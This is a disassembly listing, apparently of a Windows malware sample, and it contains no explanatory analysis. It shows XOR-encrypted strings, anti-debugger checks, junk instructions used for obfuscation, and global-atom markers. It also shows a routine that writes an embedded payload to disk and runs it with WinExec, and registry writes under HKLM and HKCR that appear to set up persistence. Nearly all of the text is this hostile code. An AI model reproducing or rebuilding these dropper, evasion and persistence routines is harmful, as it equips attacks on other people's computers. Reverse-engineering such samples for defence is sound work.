add [ebp+var_108], 7A22h
push 2 ; Size
push offset word_44758A ; Src
call sub_4032E2
push eax ; Source
lea edi, [ebp+String]
push edi ; Dest
call strcat ; strcat
add esp, 18h
mov [ebp+var_2], 4444h
movzx eax, [ebp+var_2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2], ax
lea eax, [ebp+String]
push eax ; lpString
call GlobalAddAtomA ; GlobalAddAtomA
mov ax, word_43D14D
mov [ebp+var_10A], ax
pop edi
leave
retn
sub_40341E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40349A proc near ; CODE XREF: sub_4098A8+2D8p
; sub_4098A8+388p ...
var_112 = byte ptr -112h
var_10C = dword ptr -10Ch
var_108 = word ptr -108h
var_106 = word ptr -106h
String = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 114h
push ebx
push esi
push edi
mov ax, word_43D14F
mov [ebp+var_108], ax
mov eax, dword_43D151
mov [ebp+var_10C], eax
call GetCurrentThreadId ; GetCurrentThreadId
lea eax, [ebp+String]
push eax
push [ebp+arg_0]
call sub_403370
call GetTickCount ; GetTickCount
push 2 ; Size
push offset word_44758A ; Src
call sub_4032E2
push eax ; Source
lea edi, [ebp+String]
push edi ; Dest
call strcat ; strcat
add esp, 18h
call GetLastError
loc_4034F8: ; CODE XREF: sub_40349A+AEj
lea eax, [ebp+String]
push eax ; lpString
call GlobalFindAtomA ; GlobalFindAtomA
mov edi, eax
mov [ebp+var_106], di
lea edi, [ebp+var_112]
lea esi, byte_43D155
mov ecx, 3
rep movsw
cmp [ebp+var_106], 0
jz short loc_40354A
mov ebx, 4056h
add ebx, 1CB6h
movzx eax, [ebp+var_106]
push eax ; nAtom
call GlobalDeleteAtom ; GlobalDeleteAtom
call GetProcessHeap ; GetProcessHeap
jmp short loc_4034F8
; ---------------------------------------------------------------------------
loc_40354A: ; CODE XREF: sub_40349A+8Fj
pop edi
pop esi
pop ebx
leave
retn
sub_40349A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40354F(void *Src, size_t Size)
sub_40354F proc near ; CODE XREF: sub_4035DB+A0p
; sub_4036BC+34p
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+Size]
mov [ebp+var_4], 1EAh
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_43D164
lea eax, ds:40E180h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_403597
; ---------------------------------------------------------------------------
loc_40357D: ; CODE XREF: sub_40354F+4Aj
mov eax, dword_43D164
add eax, edi
lea eax, ds:40E180h[eax]
movsx edx, byte ptr [eax]
xor edx, 0D3h
mov [eax], dl
inc edi
loc_403597: ; CODE XREF: sub_40354F+2Cj
cmp edi, esi
jl short loc_40357D
mov [ebp+var_8], 278h
mov eax, dword_43D164
add eax, esi
mov byte ptr dword_40E180[eax], 0
mov edi, dword_43D164
mov eax, edi
add eax, 6
add eax, esi
mov dword_43D164, eax
cmp eax, 0DCEh
jle short loc_4035D1
and dword_43D164, 0
loc_4035D1: ; CODE XREF: sub_40354F+79j
lea eax, dword_40E180[edi]
pop edi
pop esi
leave
retn
sub_40354F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4035DB(int Val, char *Dest, char *Source)
sub_4035DB proc near ; CODE XREF: sub_4036BC+41p
var_3F = byte ptr -3Fh
var_38 = byte ptr -38h
DstBuf = byte ptr -35h
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
Val = dword ptr 8
Dest = dword ptr 0Ch
Source = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
push ebx
push esi
push edi
mov ebx, [ebp+Dest]
lea edi, [ebp+var_38]
lea esi, byte_43D168
mov ecx, 3
rep movsb
lea edi, [ebp+var_3F]
lea esi, byte_43D16B
mov ecx, 7
rep movsb
call GetVersion ; GetVersion
mov eax, dword_43D15C
inc eax
push eax ; Radix
lea eax, [ebp+DstBuf]
push eax ; DstBuf
push [ebp+Val] ; Val
call _itoa ; _itoa
add esp, 0Ch
call GetTickCount ; GetTickCount
lea ecx, [ebp+DstBuf]
or eax, 0FFFFFFFFh
loc_40362D: ; CODE XREF: sub_4035DB+57j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40362D
mov edx, eax
mov [ebp+var_2], dl
call GetLastError
mov [ebp+var_1], 0
jmp short loc_40365A
; ---------------------------------------------------------------------------
loc_403644: ; CODE XREF: sub_4035DB+89j
movzx eax, [ebp+var_1]
movzx edx, [ebp+var_2]
sub edx, eax
dec edx
mov al, [ebp+eax+DstBuf]
mov [ebx+edx], al
add [ebp+var_1], 1
loc_40365A: ; CODE XREF: sub_4035DB+67j
movzx eax, [ebp+var_1]
movzx edx, [ebp+var_2]
cmp eax, edx
jl short loc_403644
movzx eax, [ebp+var_2]
mov byte ptr [ebx+eax], 0
mov [ebp+var_3], 0
jmp short loc_40368E
; ---------------------------------------------------------------------------
loc_403674: ; CODE XREF: sub_4035DB+C4j
push 1 ; Size
push offset byte_447588 ; Src
call sub_40354F
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
add [ebp+var_3], 1
loc_40368E: ; CODE XREF: sub_4035DB+97j
movzx eax, [ebp+var_3]
mov edx, 20h
movzx ecx, [ebp+var_2]
sub edx, ecx
cmp eax, edx
jl short loc_403674
call IsDebuggerPresent ; IsDebuggerPresent
push [ebp+Source] ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 8
call GetTickCount ; GetTickCount
pop edi
pop esi
pop ebx
leave
retn
sub_4035DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4036BC(int Val)
sub_4036BC proc near ; CODE XREF: sub_40AA24+694p
var_3C = byte ptr -3Ch
Dest = byte ptr -36h
var_4 = word ptr -4
var_1 = byte ptr -1
Val = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3Ch
push ebx
push esi
push edi
mov ebx, 65DBh
sub ebx, 2975h
lea edi, [ebp+var_3C]
lea esi, word_43D172
mov ecx, 3
rep movsw
mov [ebp+var_1], 1Bh
sub [ebp+var_1], 0FBh
push 1 ; Size
push offset word_447586 ; Src
call sub_40354F
push eax ; Source
lea edi, [ebp+Dest]
push edi ; Dest
push [ebp+Val] ; Val
call sub_4035DB
add esp, 14h
mov [ebp+var_4], 23Ah
sub [ebp+var_4], 4D70h
lea eax, [ebp+Dest]
push eax ; lpString
call GlobalAddAtomA ; GlobalAddAtomA
mov ebx, 858h
mov eax, ebx
add eax, ebx
mov ebx, eax
pop edi
pop esi
pop ebx
leave
retn
sub_4036BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40372A(void *Src, size_t Size)
sub_40372A proc near ; CODE XREF: sub_4037CA+37p
; .text:0040389Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+Size]
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_43D180
lea eax, ds:40F6E0h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_403768
; ---------------------------------------------------------------------------
loc_403751: ; CODE XREF: sub_40372A+40j
mov eax, dword_43D180
add eax, edi
lea eax, ds:40F6E0h[eax]
movsx edx, byte ptr [eax]
xor edx, 75h
mov [eax], dl
inc edi
loc_403768: ; CODE XREF: sub_40372A+25j
cmp edi, esi
jl short loc_403751
mov [ebp+var_4], 2E3h
mov eax, dword_43D180
add eax, esi
mov byte ptr dword_40F6E0[eax], 0
xor edi, edi
mov edi, dword_43D180
inc dword_43D180
mov eax, dword_43D180
add eax, 5
add eax, esi
mov dword_43D180, eax
add dword_43D180, 2
cmp dword_43D180, 0DF6h
jle short loc_4037B9
and dword_43D180, 0
loc_4037B9: ; CODE XREF: sub_40372A+86j
mov [ebp+var_8], 1Ch
lea eax, dword_40F6E0[edi]
pop edi
pop esi
leave
retn
sub_40372A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4037CA(char *Format, char *Source)
sub_4037CA proc near ; CODE XREF: sub_40AA24+728p
; sub_40AA24+74Fp
var_10A = word ptr -10Ah
var_108 = word ptr -108h
var_106 = word ptr -106h
String = byte ptr -104h
Format = dword ptr 8
Source = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
mov [ebp+var_106], 56C6h
sub [ebp+var_106], 2AE0h
call GetTickCount ; GetTickCount
push [ebp+Format] ; Format
lea eax, [ebp+String]
push eax ; Dest
call sprintf ; sprintf
push 1 ; Size
push offset byte_447584 ; Src
call sub_40372A
push eax ; Source
lea edi, [ebp+String]
push edi ; Dest
call strcat ; strcat
mov [ebp+var_108], 14CDh
sub [ebp+var_108], 24h
push [ebp+Source] ; Source
lea eax, [ebp+String]
push eax ; Dest
call strcat ; strcat
add esp, 20h
lea eax, [ebp+String]
push eax ; lpString
call GlobalAddAtomA ; GlobalAddAtomA
mov [ebp+var_10A], 31AAh
movzx eax, [ebp+var_10A]
imul eax, 32E4h
mov [ebp+var_10A], ax
pop edi
leave
retn
sub_4037CA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 110h
push esi
push edi
lea edi, [ebp-10Dh]
lea esi, dword_43D184
mov ecx, 7
rep movsb
push dword ptr [ebp+8]
lea eax, [ebp-104h]
push eax
call sprintf ; sprintf
call IsDebuggerPresent ; IsDebuggerPresent
push 1
push offset byte_447584
call sub_40372A
push eax
lea edi, [ebp-104h]
push edi
call strcat ; strcat
call GetLastError
push dword ptr [ebp+0Ch]
lea eax, [ebp-104h]
push eax
call strcat ; strcat
add esp, 20h
loc_4038C4: ; CODE XREF: .text:00403908j
lea eax, [ebp-104h]
push eax
call GlobalFindAtomA ; GlobalFindAtomA
mov edi, eax
mov [ebp-106h], di
cmp word ptr [ebp-106h], 0
jz short loc_40390A
lea edi, [ebp-110h]
lea esi, byte_43D18B
mov ecx, 3
rep movsb
movzx eax, word ptr [ebp-106h]
push eax
call GlobalDeleteAtom ; GlobalDeleteAtom
call GetTickCount ; GetTickCount
jmp short loc_4038C4
; ---------------------------------------------------------------------------
loc_40390A: ; CODE XREF: .text:004038E1j
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40390E(void *Src, size_t Size)
sub_40390E proc near ; CODE XREF: sub_40399B+82p
; sub_403A5F+58p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+Size]
mov [ebp+var_4], 200h
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_43D198
lea eax, ds:41E9E0h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_8], 100h
xor edi, edi
jmp short loc_40395D
; ---------------------------------------------------------------------------
loc_403943: ; CODE XREF: sub_40390E+51j
mov eax, dword_43D198
add eax, edi
lea eax, ds:41E9E0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0D9h
mov [eax], dl
inc edi
loc_40395D: ; CODE XREF: sub_40390E+33j
cmp edi, esi
jl short loc_403943
mov eax, dword_43D198
add eax, esi
mov byte ptr dword_41E9E0[eax], 0
xor edi, edi
mov edi, dword_43D198
mov eax, edi
lea eax, [eax+esi+1]
mov dword_43D198, eax
cmp eax, 0DCCh
jle short loc_403991
and dword_43D198, 0
loc_403991: ; CODE XREF: sub_40390E+7Aj
lea eax, dword_41E9E0[edi]
pop edi
pop esi
leave
retn
sub_40390E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40399B(char *Dest)
sub_40399B proc near ; CODE XREF: sub_403A5F+34p
; sub_403BE7+139p ...
var_100B = byte ptr -100Bh
VolumeSerialNumber= dword ptr -1008h
RootPathName = byte ptr -1003h
var_1000 = byte ptr -1000h
FileSystemFlags = dword ptr -4
Dest = dword ptr 8
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_40C6B8
push ebx
push esi
push edi
mov ebx, [ebp+Dest]
lea edi, [ebp+var_100B]
lea esi, word_4421BE
mov ecx, 3
rep movsb
push 0FFFh ; uSize
lea eax, [ebp+RootPathName]
push eax ; lpBuffer
call GetSystemDirectoryA ; GetSystemDirectoryA
call GetTickCount ; GetTickCount
mov [ebp+var_1000], 0
push 0FFFh ; nFileSystemNameSize
lea eax, [ebp+RootPathName]
push eax ; lpFileSystemNameBuffer
lea eax, [ebp+FileSystemFlags]
push eax ; lpFileSystemFlags
lea eax, [ebp+FileSystemFlags]
push eax ; lpMaximumComponentLength
lea eax, [ebp+VolumeSerialNumber]
push eax ; lpVolumeSerialNumber
push 0FFFh ; nVolumeNameSize
lea eax, [ebp+RootPathName]
push eax ; lpVolumeNameBuffer
lea eax, [ebp+RootPathName]
push eax ; lpRootPathName
call GetVolumeInformationA ; GetVolumeInformationA
call GetCurrentThreadId ; GetCurrentThreadId
push 4 ; Size
push offset byte_44757F ; Src
call sub_40390E
push [ebp+VolumeSerialNumber]
push eax ; Format
push ebx ; Dest
call sprintf ; sprintf
add esp, 14h
call GetCurrentThreadId ; GetCurrentThreadId
and [ebp+FileSystemFlags], 0
loc_403A3B: ; CODE XREF: sub_40399B+BDj
mov eax, [ebp+FileSystemFlags]
mov al, [ebx+eax]
cmp al, 41h
jge short loc_403A51
cmp al, 30h
jle short loc_403A51
mov eax, [ebp+FileSystemFlags]
add eax, ebx
add byte ptr [eax], 11h
loc_403A51: ; CODE XREF: sub_40399B+A8j
; sub_40399B+ACj
inc [ebp+FileSystemFlags]
cmp [ebp+FileSystemFlags], 8
jb short loc_403A3B
pop edi
pop esi
pop ebx
leave
retn
sub_40399B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A5F proc near ; CODE XREF: sub_40AA24+7D2p
var_28F = byte ptr -28Fh
var_28A = byte ptr -28Ah
NumberOfBytesWritten= dword ptr -284h
var_27D = dword ptr -27Dh
var_279 = byte ptr -279h
var_273 = byte ptr -273h
var_26C = byte ptr -26Ch
Source = byte ptr -26Bh
Dest = byte ptr -167h
var_103 = byte ptr -103h
var_102 = word ptr -102h
FileName = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 290h
push ebx
push esi
push edi
call GetCurrentProcessId ; GetCurrentProcessId
lea edi, [ebp+var_26C]
lea esi, byte_4421C1
xor ecx, ecx
inc ecx
rep movsb
mov ebx, 1763h
add ebx, 25D9h
lea eax, [ebp+Dest]
push eax ; Dest
call sub_40399B
call GetProcessHeap ; GetProcessHeap
lea edi, [ebp+var_273]
lea esi, word_4421C2
mov ecx, 7
rep movsb
push 9 ; Size
push offset byte_447575 ; Src
call sub_40390E
lea edi, [ebp+Dest]
push edi
push offset Buffer
push eax ; Format
lea edi, [ebp+FileName]
push edi ; Dest
call sprintf ; sprintf
lea eax, [ebp+FileName]
push eax
call sub_40341E
lea edi, [ebp+var_279]
lea esi, byte_4421C9
mov ecx, 3
rep movsw
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, [ebp+FileName]
push eax ; lpFileName
call CreateFileA ; CreateFileA
mov ebx, eax
mov eax, dword_4421CF
mov [ebp+var_27D], eax
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
push 3621h ; nNumberOfBytesToWrite
push offset byte_43EB9D ; lpBuffer
push ebx ; hFile
call WriteFile ; WriteFile
lea edi, [ebp+var_28A]
lea esi, byte_4421D3
mov ecx, 3
rep movsw
push ebx ; hObject
call CloseHandle ; CloseHandle
call IsDebuggerPresent ; IsDebuggerPresent
lea edi, [ebp+var_28F]
lea esi, byte_4421D9
mov ecx, 5
rep movsb
push 104h ; nSize
lea eax, [ebp+Source]
push eax ; lpFilename
push 0 ; hModule
call GetModuleFileNameA ; GetModuleFileNameA
mov [ebp+var_102], 0C80h
sub [ebp+var_102], 4F02h
push 1 ; Size
push offset byte_447573 ; Src
call sub_40390E
push eax ; Source
lea edi, [ebp+FileName]
push edi ; Dest
call strcat ; strcat
mov [ebp+var_103], 94h
add [ebp+var_103], 1
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+FileName]
push eax ; Dest
call strcat ; strcat
add esp, 38h
call GetCurrentProcessId ; GetCurrentProcessId
push 0 ; uCmdShow
lea eax, [ebp+FileName]
push eax ; lpCmdLine
call WinExec ; WinExec
call GetCurrentProcessId ; GetCurrentProcessId
pop edi
pop esi
pop ebx
leave
retn
sub_403A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403BE7 proc near ; CODE XREF: sub_40AA24+35Fp
var_312 = word ptr -312h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
Format = dword ptr -2F4h
NumberOfBytesWritten= dword ptr -2F0h
var_2E9 = dword ptr -2E9h
var_2E5 = byte ptr -2E5h
var_2DF = dword ptr -2DFh
var_2DB = byte ptr -2DBh
var_2D6 = word ptr -2D6h
var_2D4 = byte ptr -2D4h
ValueName = byte ptr -2CDh
Dest = byte ptr -269h
Data = byte ptr -205h
SubKey = byte ptr -101h
var_FB = byte ptr -0FBh
var_FA = byte ptr -0FAh
var_F9 = byte ptr -0F9h
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 314h
push ebx
push esi
push edi
call IsDebuggerPresent ; IsDebuggerPresent
lea edi, [ebp+var_2D4]
lea esi, word_4421DE
mov ecx, 7
rep movsb
call GetProcessHeap ; GetProcessHeap
push 26h ; Size
push offset dword_44754C ; Src
call sub_40390E
mov [ebp+Format], eax
call rand ; rand
mov [ebp+var_2F8], eax
call rand ; rand
mov [ebp+var_2FC], eax
call rand ; rand
mov [ebp+var_300], eax
call rand ; rand
mov [ebp+var_304], eax
call rand ; rand
mov [ebp+var_308], eax
call rand ; rand
mov [ebp+var_30C], eax
call rand ; rand
mov [ebp+var_310], eax
call rand ; rand
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_310]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_30C]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_308]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_304]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_300]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_2FC]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_2F8]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+Format]
push edi ; Format
lea edi, [ebp+Dest]
push edi ; Dest
call sprintf ; sprintf
call GetTickCount ; GetTickCount
mov ax, word_4421E5
mov [ebp+var_2D6], ax
lea eax, [ebp+ValueName]
push eax ; Dest
call sub_40399B
add esp, 34h
call GetLastError
lea edi, [ebp+var_2DB]
lea esi, byte_4421E7
mov ecx, 5
rep movsb
mov eax, dword_4421EC
mov [ebp+var_2DF], eax
call rand ; rand
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
add edi, 41h
mov edx, edi
mov [ebp+SubKey], dl
call GetTickCount ; GetTickCount
mov [ebp+var_1], 1
jmp short loc_403DAD
; ---------------------------------------------------------------------------
loc_403D7D: ; CODE XREF: sub_403BE7+1CBj
call rand ; rand
movzx edi, [ebp+var_1]
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov esi, eax
add esi, 61h
mov edx, esi
mov [ebp+edi+SubKey], dl
add [ebp+var_1], 1
loc_403DAD: ; CODE XREF: sub_403BE7+194j
mov al, [ebp+var_1]
cmp al, 8
jbe short loc_403D7D
mov ebx, 368Ch
mov eax, ebx
add eax, ebx
mov ebx, eax
mov [ebp+var_F9], 0
call rand ; rand
mov edx, eax
test dl, 1
jnz short loc_403DF5
call GetTickCount ; GetTickCount
mov [ebp+var_FB], 33h
mov [ebp+var_312], 25D6h
inc [ebp+var_312]
mov [ebp+var_FA], 32h
loc_403DF5: ; CODE XREF: sub_403BE7+1E9j
push 9 ; Size
push offset word_447542 ; Src
call sub_40390E
lea edi, [ebp+SubKey]
push edi
push offset Buffer
push eax ; Format
lea edi, [ebp+Data]
push edi ; Dest
call sprintf ; sprintf
lea edi, [ebp+var_2E5]
lea esi, dword_4421F0
mov ecx, 3
rep movsw
lea eax, [ebp+Data]
push eax
call sub_40341E
mov eax, dword_4421F6
mov [ebp+var_2E9], eax
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, [ebp+Data]
push eax ; lpFileName
call CreateFileA ; CreateFileA
mov ebx, eax
call GetCurrentThreadId ; GetCurrentThreadId
push [ebp+arg_0] ; Format
mov eax, offset Dest ; "abcdefghijklmno"
push eax ; Dest
call sprintf ; sprintf
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
push 1A01h ; nNumberOfBytesToWrite
push offset dword_43D19C ; lpBuffer
push ebx ; hFile
call WriteFile ; WriteFile
push ebx ; hObject
call CloseHandle ; CloseHandle
call GetVersion ; GetVersion
push 17h ; Size
push offset word_44752A ; Src
call sub_40390E
lea edi, [ebp+Dest]
push edi
push eax ; Format
lea edi, [ebp+SubKey]
push edi ; Dest
call sprintf ; sprintf
call GetLastError
lea eax, [ebp+Data]
push eax ; lpData
push offset WindowName ; lpValueName
lea eax, [ebp+SubKey]
push eax ; lpSubKey
push 80000000h ; hKey
call sub_403F47
call GetProcessHeap ; GetProcessHeap
push 0Eh ; Size
push offset aNLF ; "±«¼¸½°·¾”¶½¼µ"
call sub_40390E
mov [ebp-314h], eax
push 9 ; Size
push offset aSiLnN ; "˜©¸«´¼·"
call sub_40390E
push eax ; lpData
mov edi, [ebp-314h]
push edi ; lpValueName
lea edi, [ebp+SubKey]
push edi ; lpSubKey
push 80000000h ; hKey
call sub_403F47
push 45h ; Size
push offset aKNoLEfLKNeoOke ; "ж¿®¸«¼…”°º«¶ª¶¿…ް·½¶®ª…𬫫¼·¼«ª°"...
call sub_40390E
lea edi, [ebp+Dest]
push edi ; lpData
lea edi, [ebp+ValueName]
push edi ; lpValueName
push eax ; lpSubKey
push 80000002h ; hKey
call sub_403F47
add esp, 80h
pop edi
pop esi
pop ebx
leave
retn
sub_403BE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_403F47(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, BYTE *lpData)
sub_403F47 proc near ; CODE XREF: sub_403BE7+2EFp
; sub_403BE7+32Bp ...
var_11 = byte ptr -11h
cbData = dword ptr -10h
var_9 = byte ptr -9
phkResult = dword ptr -8
var_2 = word ptr -2
hKey = dword ptr 8
lpSubKey = dword ptr 0Ch
lpValueName = dword ptr 10h
lpData = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov edi, [ebp+lpData]
mov [ebp+var_2], 482Fh
movzx eax, [ebp+var_2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2], ax
inc dword_43C230
mov [ebp+var_9], 0C8h
add [ebp+var_9], 59h
and [ebp+phkResult], 0
lea eax, [ebp+cbData]
push eax ; lpdwDisposition
lea eax, [ebp+phkResult]
push eax ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
push [ebp+lpSubKey] ; lpSubKey
push [ebp+hKey] ; hKey
call RegCreateKeyExA ; RegCreateKeyExA
call IsDebuggerPresent ; IsDebuggerPresent
mov ecx, edi
or eax, 0FFFFFFFFh
loc_403FA2: ; CODE XREF: sub_403F47+60j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_403FA2
mov [ebp+cbData], eax
push [ebp+cbData] ; cbData
push edi ; lpData
push 1 ; dwType
push 0 ; Reserved
push [ebp+lpValueName] ; lpValueName
push [ebp+phkResult] ; hKey
call RegSetValueExA ; RegSetValueExA
mov [ebp+var_11], 0A1h
add [ebp+var_11], 0D6h
push [ebp+phkResult] ; hKey
call RegCloseKey ; RegCloseKey
call GetTickCount ; GetTickCount
pop edi
pop esi
leave
retn
sub_403F47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_403FD8(void *Src, size_t Size)
sub_403FD8 proc near ; CODE XREF: sub_40406B+DFp
; sub_40406B+FFp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+Size]
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_442204
lea eax, ds:411CA0h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_4], 278h
xor edi, edi
jmp short loc_404021
; ---------------------------------------------------------------------------
loc_404007: ; CODE XREF: sub_403FD8+4Bj
mov eax, dword_442204
add eax, edi
lea eax, ds:411CA0h[eax] ; DATA XREF: .text:0043F12Dw
; .text:0043F147w ...
movsx edx, byte ptr [eax]
xor edx, 9Ah
mov [eax], dl
loc_404020: ; DATA XREF: .text:0043F1FAo
; .text:0043F210r
inc edi
loc_404021: ; CODE XREF: sub_403FD8+2Dj
cmp edi, esi
jl short loc_404007 ; DATA XREF: .text:0043F20Ar
mov [ebp+var_8], 2C7h ; DATA XREF: .text:0043F204r
loc_40402C: ; DATA XREF: .text:loc_43F195r
; .text:loc_43F1A5r ...
mov eax, dword_442204
add eax, esi
mov byte ptr dword_411CA0[eax], 0 ; DATA XREF: .text:0043F0A3w
; .text:0043F0BEr ...
mov edi, dword_442204 ; DATA XREF: .text:0043F0B8o
; .text:0043F0C6o
mov eax, edi
lea eax, [eax+esi+6]
mov dword_442204, eax
cmp eax, 0DB8h
jle short loc_40405A
and dword_442204, 0
loc_40405A: ; CODE XREF: sub_403FD8+79j
mov [ebp+var_C], 2EEh
lea eax, dword_411CA0[edi]
pop edi
pop esi
leave
retn
sub_403FD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40406B proc near ; CODE XREF: sub_40AA24+3B9p
var_14B3 = byte ptr -14B3h
var_14AF = byte ptr -14AFh
var_14AC = dword ptr -14ACh
NumberOfBytesWritten= dword ptr -14A8h
var_14A4 = byte ptr -14A4h
var_149D = byte ptr -149Dh
var_1496 = word ptr -1496h
FileName = byte ptr -1494h
var_1395 = byte ptr -1395h
VersionInformation= _OSVERSIONINFOA ptr -1394h
Filename = byte ptr -1300h
Dest = byte ptr -1201h
var_1102 = word ptr -1102h
var_1100 = word ptr -1100h
CmdLine = byte ptr -10FEh
Buffer = byte ptr -0FFh
push ebp
mov ebp, esp
mov eax, 14B4h
call sub_40C6B8
push ebx
push esi
push edi
call IsDebuggerPresent ; IsDebuggerPresent
mov ax, word_442208
mov [ebp+var_1496], ax ; DATA XREF: .text:0043F048w
call GetTickCount ; DATA XREF: .text:0043F04Dw
; .text:0043F069w
push 0FFh ; DATA XREF: .text:0043F5A8w
; .text:0043F5AEr ...
; nSize
lea eax, [ebp+Filename] ; DATA XREF: .text:00440391r
push eax ; lpFilename
push 0 ; hModule
call GetModuleFileNameA ; GetModuleFileNameA
call GetTickCount ; GetTickCount
loc_4040AA: ; DATA XREF: sub_43F624+Co
mov [ebp+VersionInformation.dwOSVersionInfoSize], 94h
mov [ebp+var_1100], 47E6h ; DATA XREF: sub_43F624+1Co
movzx eax, [ebp+var_1100]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1100], ax
lea eax, [ebp+VersionInformation]
push eax ; lpVersionInformation
call GetVersionExA ; GetVersionExA
mov [ebp+var_1102], 21A4h
movzx eax, [ebp+var_1102]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1102], ax
lea edi, [ebp+var_149D]
lea esi, word_44220A
mov ecx, 7
rep movsb
cmp [ebp+VersionInformation.dwPlatformId], 2
jnz loc_4041A4
call GetVersion ; GetVersion
push 0FFh ; uSize
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call GetSystemDirectoryA ; GetSystemDirectoryA
lea edi, [ebp+var_14B3]
lea esi, byte_442211
mov ecx, 7
rep movsb
push 0Fh ; Size
push offset word_4474BA ; Src
call sub_403FD8
lea edi, [ebp+Buffer]
push edi
push eax ; Format
lea edi, [ebp+Dest]
push edi ; Dest
call sprintf ; sprintf
push 0Ah ; Size
push offset byte_4474AF ; Src
call sub_403FD8
lea edi, [ebp+Buffer]
push edi
push eax ; Format
lea edi, [ebp+FileName]
push edi ; Dest
call sprintf ; sprintf
